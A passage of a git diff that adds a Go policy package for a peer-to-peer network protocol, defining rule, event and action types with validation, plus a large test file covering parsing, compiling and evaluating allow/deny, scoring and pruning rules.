+ if ts <= 0 { + return 0.0, nil + } + elapsed := time.Since(time.Unix(int64(ts), 0)) + return elapsed.Seconds(), nil +} diff --git a/pkg/policy/policy.go b/pkg/policy/policy.go new file mode 100644 index 00000000..0b8c2453 --- /dev/null +++ b/pkg/policy/policy.go @@ -0,0 +1,227 @@ +package policy + +import ( + "encoding/json" + "fmt" + "time" +) + +// Version is the current policy document schema version. +const Version = 1 + +// EventType identifies the protocol event a rule matches against. +type EventType string + +const ( + EventConnect EventType = "connect" // inbound SYN + EventDial EventType = "dial" // outbound SYN + EventDatagram EventType = "datagram" // inbound/outbound datagram + EventCycle EventType = "cycle" // periodic timer tick + EventJoin EventType = "join" // peer joins network + EventLeave EventType = "leave" // peer leaves network +) + +// gateEvents are events that produce allow/deny verdicts. +var gateEvents = map[EventType]bool{ + EventConnect: true, + EventDial: true, + EventDatagram: true, +} + +// IsGateEvent returns true if the event type produces allow/deny verdicts. +func (e EventType) IsGateEvent() bool { return gateEvents[e] } + +// ActionType identifies what a rule does when it matches. +type ActionType string + +const ( + ActionAllow ActionType = "allow" + ActionDeny ActionType = "deny" + ActionScore ActionType = "score" + ActionTag ActionType = "tag" + ActionEvict ActionType = "evict" + ActionEvictWhere ActionType = "evict_where" + ActionPrune ActionType = "prune" + ActionFill ActionType = "fill" + ActionPruneTrust ActionType = "prune_trust" + ActionFillTrust ActionType = "fill_trust" + ActionWebhook ActionType = "webhook" + ActionLog ActionType = "log" +) + +// verdictActions are actions that produce a gate verdict. +var verdictActions = map[ActionType]bool{ + ActionAllow: true, + ActionDeny: true, +} + +// Action is a single action within a rule. +type Action struct { + Type ActionType `json:"type"` + Params map[string]interface{} `json:"params,omitempty"` +} + +// Rule is a single policy rule: when event matches, execute actions. +type Rule struct { + Name string `json:"name"` + On EventType `json:"on"` + Match string `json:"match"` + Actions []Action `json:"actions"` +} + +// PolicyDocument is the top-level policy structure stored as JSON. +type PolicyDocument struct { + Version int `json:"version"` + Config map[string]interface{} `json:"config,omitempty"` + Rules []Rule `json:"rules"` +} + +// DirectiveType identifies the kind of directive returned by evaluation. +type DirectiveType int + +const ( + DirectiveAllow DirectiveType = iota + DirectiveDeny + DirectiveScore + DirectiveTag + DirectiveEvict + DirectiveEvictWhere + DirectivePrune + DirectiveFill + DirectivePruneTrust + DirectiveFillTrust + DirectiveWebhook + DirectiveLog +) + +// Directive is an instruction produced by evaluating a rule. +type Directive struct { + Type DirectiveType + Rule string // source rule name + Params map[string]interface{} // action parameters +} + +// Parse unmarshals and validates a policy document from JSON. +func Parse(data []byte) (*PolicyDocument, error) { + var doc PolicyDocument + if err := json.Unmarshal(data, &doc); err != nil { + return nil, fmt.Errorf("policy: invalid JSON: %w", err) + } + if err := Validate(&doc); err != nil { + return nil, err + } + return &doc, nil +} + +// Validate checks structural validity of a policy document. +// It does NOT compile expressions — use Compile for full validation. +func Validate(doc *PolicyDocument) error { + if doc.Version != Version { + return fmt.Errorf("policy: unsupported version %d (want %d)", doc.Version, Version) + } + if len(doc.Rules) == 0 { + return fmt.Errorf("policy: at least one rule is required") + } + + names := make(map[string]bool, len(doc.Rules)) + for i, r := range doc.Rules { + if r.Name == "" { + return fmt.Errorf("policy: rule[%d]: name is required", i) + } + if names[r.Name] { + return fmt.Errorf("policy: duplicate rule name %q", r.Name) + } + names[r.Name] = true + + switch r.On { + case EventConnect, EventDial, EventDatagram, EventCycle, EventJoin, EventLeave: + // valid + default: + return fmt.Errorf("policy: rule %q: unknown event type %q", r.Name, r.On) + } + + if r.Match == "" { + return fmt.Errorf("policy: rule %q: match expression is required", r.Name) + } + + if len(r.Actions) == 0 { + return fmt.Errorf("policy: rule %q: at least one action is required", r.Name) + } + + for j, a := range r.Actions { + if err := validateAction(r.Name, j, a); err != nil { + return err + } + } + } + + // Validate config durations if present + if doc.Config != nil { + if v, ok := doc.Config["cycle"]; ok { + s, ok := v.(string) + if !ok { + return fmt.Errorf("policy: config.cycle must be a string") + } + d, err := time.ParseDuration(s) + if err != nil { + return fmt.Errorf("policy: config.cycle: %w", err) + } + if d < 1*time.Minute { + return fmt.Errorf("policy: config.cycle must be >= 1m") + } + } + } + + return nil +} + +func validateAction(ruleName string, idx int, a Action) error { + switch a.Type { + case ActionAllow, ActionDeny, ActionEvict: + // no required params + case ActionScore: + if _, ok := a.Params["delta"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: score requires 'delta' param", ruleName, idx) + } + case ActionTag: + _, hasAdd := a.Params["add"] + _, hasRemove := a.Params["remove"] + if !hasAdd && !hasRemove { + return fmt.Errorf("policy: rule %q action[%d]: tag requires 'add' or 'remove' param", ruleName, idx) + } + case ActionEvictWhere: + if _, ok := a.Params["match"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: evict_where requires 'match' param", ruleName, idx) + } + case ActionPrune: + if _, ok := a.Params["count"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: prune requires 'count' param", ruleName, idx) + } + case ActionFill: + if _, ok := a.Params["count"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: fill requires 'count' param", ruleName, idx) + } + case ActionPruneTrust: + if _, ok := a.Params["percent"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: prune_trust requires 'percent' param", ruleName, idx) + } + if _, ok := a.Params["min"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: prune_trust requires 'min' param", ruleName, idx) + } + case ActionFillTrust: + if _, ok := a.Params["target"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: fill_trust requires 'target' param", ruleName, idx) + } + case ActionWebhook: + if _, ok := a.Params["event"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: webhook requires 'event' param", ruleName, idx) + } + case ActionLog: + if _, ok := a.Params["message"]; !ok { + return fmt.Errorf("policy: rule %q action[%d]: log requires 'message' param", ruleName, idx) + } + default: + return fmt.Errorf("policy: rule %q action[%d]: unknown action type %q", ruleName, idx, a.Type) + } + return nil +} diff --git a/pkg/policy/policy_test.go b/pkg/policy/policy_test.go new file mode 100644 index 00000000..d2858224 --- /dev/null +++ b/pkg/policy/policy_test.go @@ -0,0 +1,891 @@ +package policy + +import ( + "encoding/json" + "testing" + + "github.com/TeoSlayer/pilotprotocol/pkg/registry" +) + +func TestParseValidPolicy(t *testing.T) { + raw := `{ + "version": 1, + "rules": [ + {"name": "r1", "on": "connect", "match": "port == 80", "actions": [{"type": "allow"}]} + ] + }` + doc, err := Parse([]byte(raw)) + if err != nil { + t.Fatal(err) + } + if doc.Version != 1 { + t.Fatalf("version = %d, want 1", doc.Version) + } + if len(doc.Rules) != 1 { + t.Fatalf("rules = %d, want 1", len(doc.Rules)) + } +} + +func TestParseInvalidJSON(t *testing.T) { + _, err := Parse([]byte(`{bad json`)) + if err == nil { + t.Fatal("expected error for invalid JSON") + } +} + +func TestValidateVersionMismatch(t *testing.T) { + doc := &PolicyDocument{Version: 99, Rules: []Rule{{Name: "r", On: "connect", Match: "true", Actions: []Action{{Type: ActionAllow}}}}} + if err := Validate(doc); err == nil { + t.Fatal("expected error for version mismatch") + } +} + +func TestValidateNoRules(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{}} + if err := Validate(doc); err == nil { + t.Fatal("expected error for empty rules") + } +} + +func TestValidateDuplicateNames(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "dup", On: "connect", Match: "true", Actions: []Action{{Type: ActionAllow}}}, + {Name: "dup", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for duplicate rule names") + } +} + +func TestValidateUnknownEventType(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r", On: "unknown", Match: "true", Actions: []Action{{Type: ActionAllow}}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for unknown event type") + } +} + +func TestValidateEmptyMatch(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r", On: "connect", Match: "", Actions: []Action{{Type: ActionAllow}}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for empty match") + } +} + +func TestValidateNoActions(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r", On: "connect", Match: "true", Actions: []Action{}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for empty actions") + } +} + +func TestValidateScoreRequiresDelta(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r", On: "connect", Match: "true", Actions: []Action{{Type: ActionScore}}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for score without delta") + } +} + +func TestValidateUnknownAction(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r", On: "connect", Match: "true", Actions: []Action{{Type: "teleport"}}}, + }} + if err := Validate(doc); err == nil { + t.Fatal("expected error for unknown action") + } +} + +func TestValidateCycleConfig(t *testing.T) { + doc := &PolicyDocument{ + Version: 1, + Config: map[string]interface{}{"cycle": "30s"}, + Rules: []Rule{{Name: "r", On: "cycle", Match: "true", Actions: []Action{{Type: ActionLog, Params: map[string]interface{}{"message": "tick"}}}}}, + } + if err := Validate(doc); err == nil { + t.Fatal("expected error for cycle < 1m") + } + + doc.Config["cycle"] = "1h" + if err := Validate(doc); err != nil { + t.Fatalf("unexpected error for valid cycle: %v", err) + } +} + +// --- Compile tests --- + +func TestCompileValidPolicy(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-all", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + if len(cp.rules) != 2 { + t.Fatalf("compiled rules = %d, want 2", len(cp.rules)) + } +} + +func TestCompileBadExpression(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "bad", On: "connect", Match: "port %%% invalid", Actions: []Action{{Type: ActionAllow}}}, + }} + _, err := Compile(doc) + if err == nil { + t.Fatal("expected compile error for invalid expression") + } +} + +func TestCompileEvictWhereSubExpression(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "evict-bad", On: "cycle", Match: "true", Actions: []Action{ + {Type: ActionEvictWhere, Params: map[string]interface{}{"match": "peer_score < -50"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + if len(cp.peerPrograms) != 1 { + t.Fatalf("peerPrograms = %d, want 1", len(cp.peerPrograms)) + } +} + +// --- Evaluate gate tests --- + +func TestEvaluateGateAllow(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-all", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 80, + "peer_id": 1234, + "network_id": 1, + "peer_score": 0, + "peer_tags": []string{}, + "peer_age_s": 0.0, + "members": 10, + }) + if err != nil { + t.Fatal(err) + } + + if len(dirs) == 0 { + t.Fatal("expected at least one directive") + } + last := dirs[len(dirs)-1] + if last.Type != DirectiveAllow { + t.Fatalf("verdict = %d, want DirectiveAllow", last.Type) + } + if last.Rule != "allow-80" { + t.Fatalf("rule = %q, want 'allow-80'", last.Rule) + } +} + +func TestEvaluateGateDeny(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-all", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 443, + "peer_id": 1234, + "network_id": 1, + "peer_score": 0, + "peer_tags": []string{}, + "peer_age_s": 0.0, + "members": 10, + }) + if err != nil { + t.Fatal(err) + } + + verdict := findVerdict(dirs) + if verdict == nil { + t.Fatal("expected verdict") + } + if verdict.Type != DirectiveDeny { + t.Fatalf("verdict = %d, want DirectiveDeny", verdict.Type) + } +} + +func TestEvaluateGateDefaultAllow(t *testing.T) { + // No rules match → default allow + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []Action{{Type: ActionAllow}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 999, + "peer_id": 1, + "network_id": 1, + "peer_score": 0, + "peer_tags": []string{}, + "peer_age_s": 0.0, + "members": 1, + }) + if err != nil { + t.Fatal(err) + } + + verdict := findVerdict(dirs) + if verdict == nil { + t.Fatal("expected default verdict") + } + if verdict.Type != DirectiveAllow { + t.Fatalf("verdict = %d, want DirectiveAllow (default)", verdict.Type) + } + if verdict.Rule != "_default" { + t.Fatalf("rule = %q, want '_default'", verdict.Rule) + } +} + +func TestEvaluateGateSideEffectsBeforeVerdict(t *testing.T) { + // A score action before a deny verdict: both should be returned + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "track", On: "connect", Match: "true", Actions: []Action{ + {Type: ActionScore, Params: map[string]interface{}{"delta": 1}}, + }}, + {Name: "deny-all", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 80, + "peer_id": 1, + "network_id": 1, + "peer_score": 0, + "peer_tags": []string{}, + "peer_age_s": 0.0, + "members": 1, + }) + if err != nil { + t.Fatal(err) + } + + if len(dirs) != 2 { + t.Fatalf("directives = %d, want 2 (score + deny)", len(dirs)) + } + if dirs[0].Type != DirectiveScore { + t.Fatalf("dirs[0] = %d, want DirectiveScore", dirs[0].Type) + } + if dirs[1].Type != DirectiveDeny { + t.Fatalf("dirs[1] = %d, want DirectiveDeny", dirs[1].Type) + } +} + +func TestEvaluateGatePortIn(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-ports", On: "connect", Match: "port in [80, 443, 1001]", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-rest", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + ctx := func(port int) map[string]interface{} { + return map[string]interface{}{ + "port": port, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 1, + } + } + + for _, port := range []int{80, 443, 1001} { + dirs, err := cp.Evaluate(EventConnect, ctx(port)) + if err != nil { + t.Fatalf("port %d: %v", port, err) + } + v := findVerdict(dirs) + if v.Type != DirectiveAllow { + t.Fatalf("port %d: verdict = %d, want allow", port, v.Type) + } + } + + for _, port := range []int{22, 8080, 1002} { + dirs, err := cp.Evaluate(EventConnect, ctx(port)) + if err != nil { + t.Fatalf("port %d: %v", port, err) + } + v := findVerdict(dirs) + if v.Type != DirectiveDeny { + t.Fatalf("port %d: verdict = %d, want deny", port, v.Type) + } + } +} + +// --- Evaluate action tests --- + +func TestEvaluateActionsCycleEvent(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "prune-fill", On: "cycle", Match: "true", Actions: []Action{ + {Type: ActionPrune, Params: map[string]interface{}{"count": 10, "by": "score"}}, + {Type: ActionFill, Params: map[string]interface{}{"count": 10, "how": "random"}}, + }}, + {Name: "evict-bad", On: "cycle", Match: "peer_count > 5", Actions: []Action{ + {Type: ActionEvictWhere, Params: map[string]interface{}{"match": "peer_score < -50"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + ctx := map[string]interface{}{ + "network_id": 1, + "members": 20, + "peer_count": 10, + "cycle_num": 1, + } + dirs, err := cp.Evaluate(EventCycle, ctx) + if err != nil { + t.Fatal(err) + } + + // Both rules match: prune + fill + evict_where = 3 directives + if len(dirs) != 3 { + t.Fatalf("directives = %d, want 3", len(dirs)) + } + if dirs[0].Type != DirectivePrune { + t.Fatalf("dirs[0] = %d, want Prune", dirs[0].Type) + } + if dirs[1].Type != DirectiveFill { + t.Fatalf("dirs[1] = %d, want Fill", dirs[1].Type) + } + if dirs[2].Type != DirectiveEvictWhere { + t.Fatalf("dirs[2] = %d, want EvictWhere", dirs[2].Type) + } +} + +func TestEvaluateActionsNoMatch(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r1", On: "cycle", Match: "peer_count > 100", Actions: []Action{ + {Type: ActionPrune, Params: map[string]interface{}{"count": 5, "by": "score"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventCycle, map[string]interface{}{ + "network_id": 1, "members": 5, "peer_count": 3, "cycle_num": 1, + }) + if err != nil { + t.Fatal(err) + } + if len(dirs) != 0 { + t.Fatalf("directives = %d, want 0", len(dirs)) + } +} + +func TestEvaluateDatagramEvent(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-data", On: "datagram", Match: "port == 1001 && size > 0", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-rest", On: "datagram", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + // Allowed: port 1001 with data + dirs, err := cp.Evaluate(EventDatagram, map[string]interface{}{ + "port": 1001, "peer_id": 1, "network_id": 1, "size": 100, "direction": "in", + }) + if err != nil { + t.Fatal(err) + } + v := findVerdict(dirs) + if v.Type != DirectiveAllow { + t.Fatalf("datagram 1001: verdict = %d, want allow", v.Type) + } + + // Denied: port 80 + dirs, err = cp.Evaluate(EventDatagram, map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, "size": 100, "direction": "in", + }) + if err != nil { + t.Fatal(err) + } + v = findVerdict(dirs) + if v.Type != DirectiveDeny { + t.Fatalf("datagram 80: verdict = %d, want deny", v.Type) + } +} + +// --- EvaluatePeerExpr tests --- + +func TestEvaluatePeerExpr(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "evict-bad", On: "cycle", Match: "true", Actions: []Action{ + {Type: ActionEvictWhere, Params: map[string]interface{}{"match": "peer_score < -50"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + // Bad peer: should match + ok, err := cp.EvaluatePeerExpr("evict-bad", 0, map[string]interface{}{ + "peer_id": 1, "peer_score": -100, "peer_tags": []string{}, "peer_age_s": 0.0, "last_seen": 0.0, + }) + if err != nil { + t.Fatal(err) + } + if !ok { + t.Fatal("expected peer with score -100 to match evict_where") + } + + // Good peer: should not match + ok, err = cp.EvaluatePeerExpr("evict-bad", 0, map[string]interface{}{ + "peer_id": 2, "peer_score": 50, "peer_tags": []string{}, "peer_age_s": 0.0, "last_seen": 0.0, + }) + if err != nil { + t.Fatal(err) + } + if ok { + t.Fatal("expected peer with score 50 to NOT match evict_where") + } +} + +// --- Custom function tests --- + +func TestHasTag(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-elite", On: "connect", Match: `has_tag(peer_tags, "elite")`, Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-rest", On: "connect", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + ctx := func(tags []string) map[string]interface{} { + return map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": tags, "peer_age_s": 0.0, "members": 1, + } + } + + dirs, _ := cp.Evaluate(EventConnect, ctx([]string{"elite", "trusted"})) + if findVerdict(dirs).Type != DirectiveAllow { + t.Fatal("expected allow for elite peer") + } + + dirs, _ = cp.Evaluate(EventConnect, ctx([]string{"newbie"})) + if findVerdict(dirs).Type != DirectiveDeny { + t.Fatal("expected deny for non-elite peer") + } +} + +// --- HasRulesFor tests --- + +func TestHasRulesFor(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "r1", On: "connect", Match: "true", Actions: []Action{{Type: ActionAllow}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + if !cp.HasRulesFor(EventConnect) { + t.Fatal("expected true for connect") + } + if cp.HasRulesFor(EventCycle) { + t.Fatal("expected false for cycle") + } +} + +// --- Config helpers --- + +func TestCycleDuration(t *testing.T) { + doc := &PolicyDocument{ + Version: 1, + Config: map[string]interface{}{"cycle": "24h", "grace": "1h"}, + Rules: []Rule{{Name: "r1", On: "cycle", Match: "true", Actions: []Action{{Type: ActionLog, Params: map[string]interface{}{"message": "tick"}}}}}, + } + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + cycle, grace := cp.CycleDuration() + if cycle != "24h" { + t.Fatalf("cycle = %q, want '24h'", cycle) + } + if grace != "1h" { + t.Fatalf("grace = %q, want '1h'", grace) + } +} + +func TestMaxPeers(t *testing.T) { + doc := &PolicyDocument{ + Version: 1, + Config: map[string]interface{}{"max_peers": 100.0}, // JSON numbers are float64 + Rules: []Rule{{Name: "r1", On: "cycle", Match: "true", Actions: []Action{{Type: ActionLog, Params: map[string]interface{}{"message": "tick"}}}}}, + } + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + if cp.MaxPeers() != 100 { + t.Fatalf("max_peers = %d, want 100", cp.MaxPeers()) + } +} + +// --- JSON round-trip test --- + +func TestPolicyDocumentRoundTrip(t *testing.T) { + original := &PolicyDocument{ + Version: 1, + Config: map[string]interface{}{"cycle": "24h", "max_peers": 100.0}, + Rules: []Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []Action{{Type: ActionAllow}}}, + {Name: "score-data", On: "datagram", Match: "size > 0", Actions: []Action{ + {Type: ActionScore, Params: map[string]interface{}{"delta": 1.0, "topic": "activity"}}, + }}, + {Name: "cycle-prune", On: "cycle", Match: "true", Actions: []Action{ + {Type: ActionPrune, Params: map[string]interface{}{"count": 10.0, "by": "score"}}, + {Type: ActionFill, Params: map[string]interface{}{"count": 10.0, "how": "random"}}, + }}, + }, + } + + data, err := json.Marshal(original) + if err != nil { + t.Fatal(err) + } + + doc, err := Parse(data) + if err != nil { + t.Fatal(err) + } + + // Must compile successfully + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + if len(cp.rules) != 3 { + t.Fatalf("rules = %d, want 3", len(cp.rules)) + } +} + +// --- Dial event test --- + +func TestEvaluateDialEvent(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "allow-http", On: "dial", Match: "port in [80, 443]", Actions: []Action{{Type: ActionAllow}}}, + {Name: "deny-rest", On: "dial", Match: "true", Actions: []Action{{Type: ActionDeny}}}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, _ := cp.Evaluate(EventDial, map[string]interface{}{ + "port": 443, "peer_id": 1, "network_id": 1, + }) + if findVerdict(dirs).Type != DirectiveAllow { + t.Fatal("expected allow for port 443 dial") + } + + dirs, _ = cp.Evaluate(EventDial, map[string]interface{}{ + "port": 22, "peer_id": 1, "network_id": 1, + }) + if findVerdict(dirs).Type != DirectiveDeny { + t.Fatal("expected deny for port 22 dial") + } +} + +// --- Join/Leave event tests --- + +func TestEvaluateJoinLeaveEvents(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "log-join", On: "join", Match: "true", Actions: []Action{ + {Type: ActionLog, Params: map[string]interface{}{"message": "peer joined"}}, + }}, + {Name: "log-leave", On: "leave", Match: "true", Actions: []Action{ + {Type: ActionLog, Params: map[string]interface{}{"message": "peer left"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, err := cp.Evaluate(EventJoin, map[string]interface{}{ + "peer_id": 1, "network_id": 1, "members": 10, + }) + if err != nil { + t.Fatal(err) + } + if len(dirs) != 1 || dirs[0].Type != DirectiveLog { + t.Fatal("expected log directive for join event") + } + + dirs, err = cp.Evaluate(EventLeave, map[string]interface{}{ + "peer_id": 1, "network_id": 1, + }) + if err != nil { + t.Fatal(err) + } + if len(dirs) != 1 || dirs[0].Type != DirectiveLog { + t.Fatal("expected log directive for leave event") + } +} + +// --- Edge cases --- + +func TestEventTypeFiltering(t *testing.T) { + // Rules for different events should not interfere + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "connect-allow", On: "connect", Match: "true", Actions: []Action{{Type: ActionAllow}}}, + {Name: "cycle-prune", On: "cycle", Match: "true", Actions: []Action{ + {Type: ActionPrune, Params: map[string]interface{}{"count": 5, "by": "score"}}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + // Evaluate connect: should only get connect rules + dirs, _ := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 1, + }) + if len(dirs) != 1 || dirs[0].Type != DirectiveAllow { + t.Fatal("expected only connect-allow directive") + } + + // Evaluate cycle: should only get cycle rules + dirs, _ = cp.Evaluate(EventCycle, map[string]interface{}{ + "network_id": 1, "members": 10, "peer_count": 8, "cycle_num": 1, + }) + if len(dirs) != 1 || dirs[0].Type != DirectivePrune { + t.Fatal("expected only cycle-prune directive") + } +} + +func TestMultipleActionsPerRule(t *testing.T) { + doc := &PolicyDocument{Version: 1, Rules: []Rule{ + {Name: "multi", On: "connect", Match: "true", Actions: []Action{ + {Type: ActionScore, Params: map[string]interface{}{"delta": 1}}, + {Type: ActionTag, Params: map[string]interface{}{"add": []string{"seen"}}}, + {Type: ActionAllow}, + }}, + }} + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + dirs, _ := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 1, + }) + if len(dirs) != 3 { + t.Fatalf("directives = %d, want 3", len(dirs)) + } + if dirs[0].Type != DirectiveScore { + t.Fatalf("dirs[0] = %d, want Score", dirs[0].Type) + } + if dirs[1].Type != DirectiveTag { + t.Fatalf("dirs[1] = %d, want Tag", dirs[1].Type) + } + if dirs[2].Type != DirectiveAllow { + t.Fatalf("dirs[2] = %d, want Allow", dirs[2].Type) + } +} + +// --- Backward compatibility bridge tests --- + +func TestRulesToPolicy(t *testing.T) { + rules := ®istry.NetworkRules{ + Links: 20, + Cycle: "24h", + Prune: 5, + PruneBy: "score", + Fill: 5, + FillHow: "random", + Grace: "1h", + } + + raw, err := registry.RulesToPolicy(rules) + if err != nil { + t.Fatal(err) + } + if raw == nil { + t.Fatal("expected non-nil policy") + } + + doc, err := Parse(raw) + if err != nil { + t.Fatal(err) + } + + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + // Check config + if cp.MaxPeers() != 20 { + t.Fatalf("max_peers = %d, want 20", cp.MaxPeers()) + } + cycle, grace := cp.CycleDuration() + if cycle != "24h" { + t.Fatalf("cycle = %q, want '24h'", cycle) + } + if grace != "1h" { + t.Fatalf("grace = %q, want '1h'", grace) + } + + // Should have cycle rules + if !cp.HasRulesFor(EventCycle) { + t.Fatal("expected cycle rules") + } + if !cp.HasRulesFor(EventDatagram) { + t.Fatal("expected datagram rules (score)") + } + + // Evaluate cycle: should produce prune + fill + dirs, err := cp.Evaluate(EventCycle, map[string]interface{}{ + "network_id": 1, "members": 20, "peer_count": 15, "cycle_num": 1, + }) + if err != nil { + t.Fatal(err) + } + if len(dirs) != 2 { + t.Fatalf("cycle directives = %d, want 2", len(dirs)) + } + if dirs[0].Type != DirectivePrune { + t.Fatalf("dirs[0] = %d, want Prune", dirs[0].Type) + } + if dirs[1].Type != DirectiveFill { + t.Fatalf("dirs[1] = %d, want Fill", dirs[1].Type) + } +} + +func TestRulesToPolicyNil(t *testing.T) { + raw, err := registry.RulesToPolicy(nil) + if err != nil { + t.Fatal(err) + } + if raw != nil { + t.Fatal("expected nil for nil rules") + } +} + +func TestAllowedPortsToPolicy(t *testing.T) { + raw, err := registry.AllowedPortsToPolicy([]uint16{80, 443, 1001}) + if err != nil { + t.Fatal(err) + } + if raw == nil { + t.Fatal("expected non-nil policy") + } + + doc, err := Parse(raw) + if err != nil { + t.Fatal(err) + } + + cp, err := Compile(doc) + if err != nil { + t.Fatal(err) + } + + // Test connect gate: port 80 should be allowed + dirs, _ := cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 1, + }) + if findVerdict(dirs).Type != DirectiveAllow { + t.Fatal("expected allow for port 80") + } + + // Test connect gate: port 22 should be denied + dirs, _ = cp.Evaluate(EventConnect, map[string]interface{}{ + "port": 22, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 1, + }) + if findVerdict(dirs).Type != DirectiveDeny { + t.Fatal("expected deny for port 22") + } + + // Test datagram gate: port 1001 should be allowed + dirs, _ = cp.Evaluate(EventDatagram, map[string]interface{}{ + "port": 1001, "peer_id": 1, "network_id": 1, "size": 100, "direction": "in", + }) + if findVerdict(dirs).Type != DirectiveAllow { + t.Fatal("expected allow for datagram port 1001") + } + + // Test dial gate: port 443 should be allowed + dirs, _ = 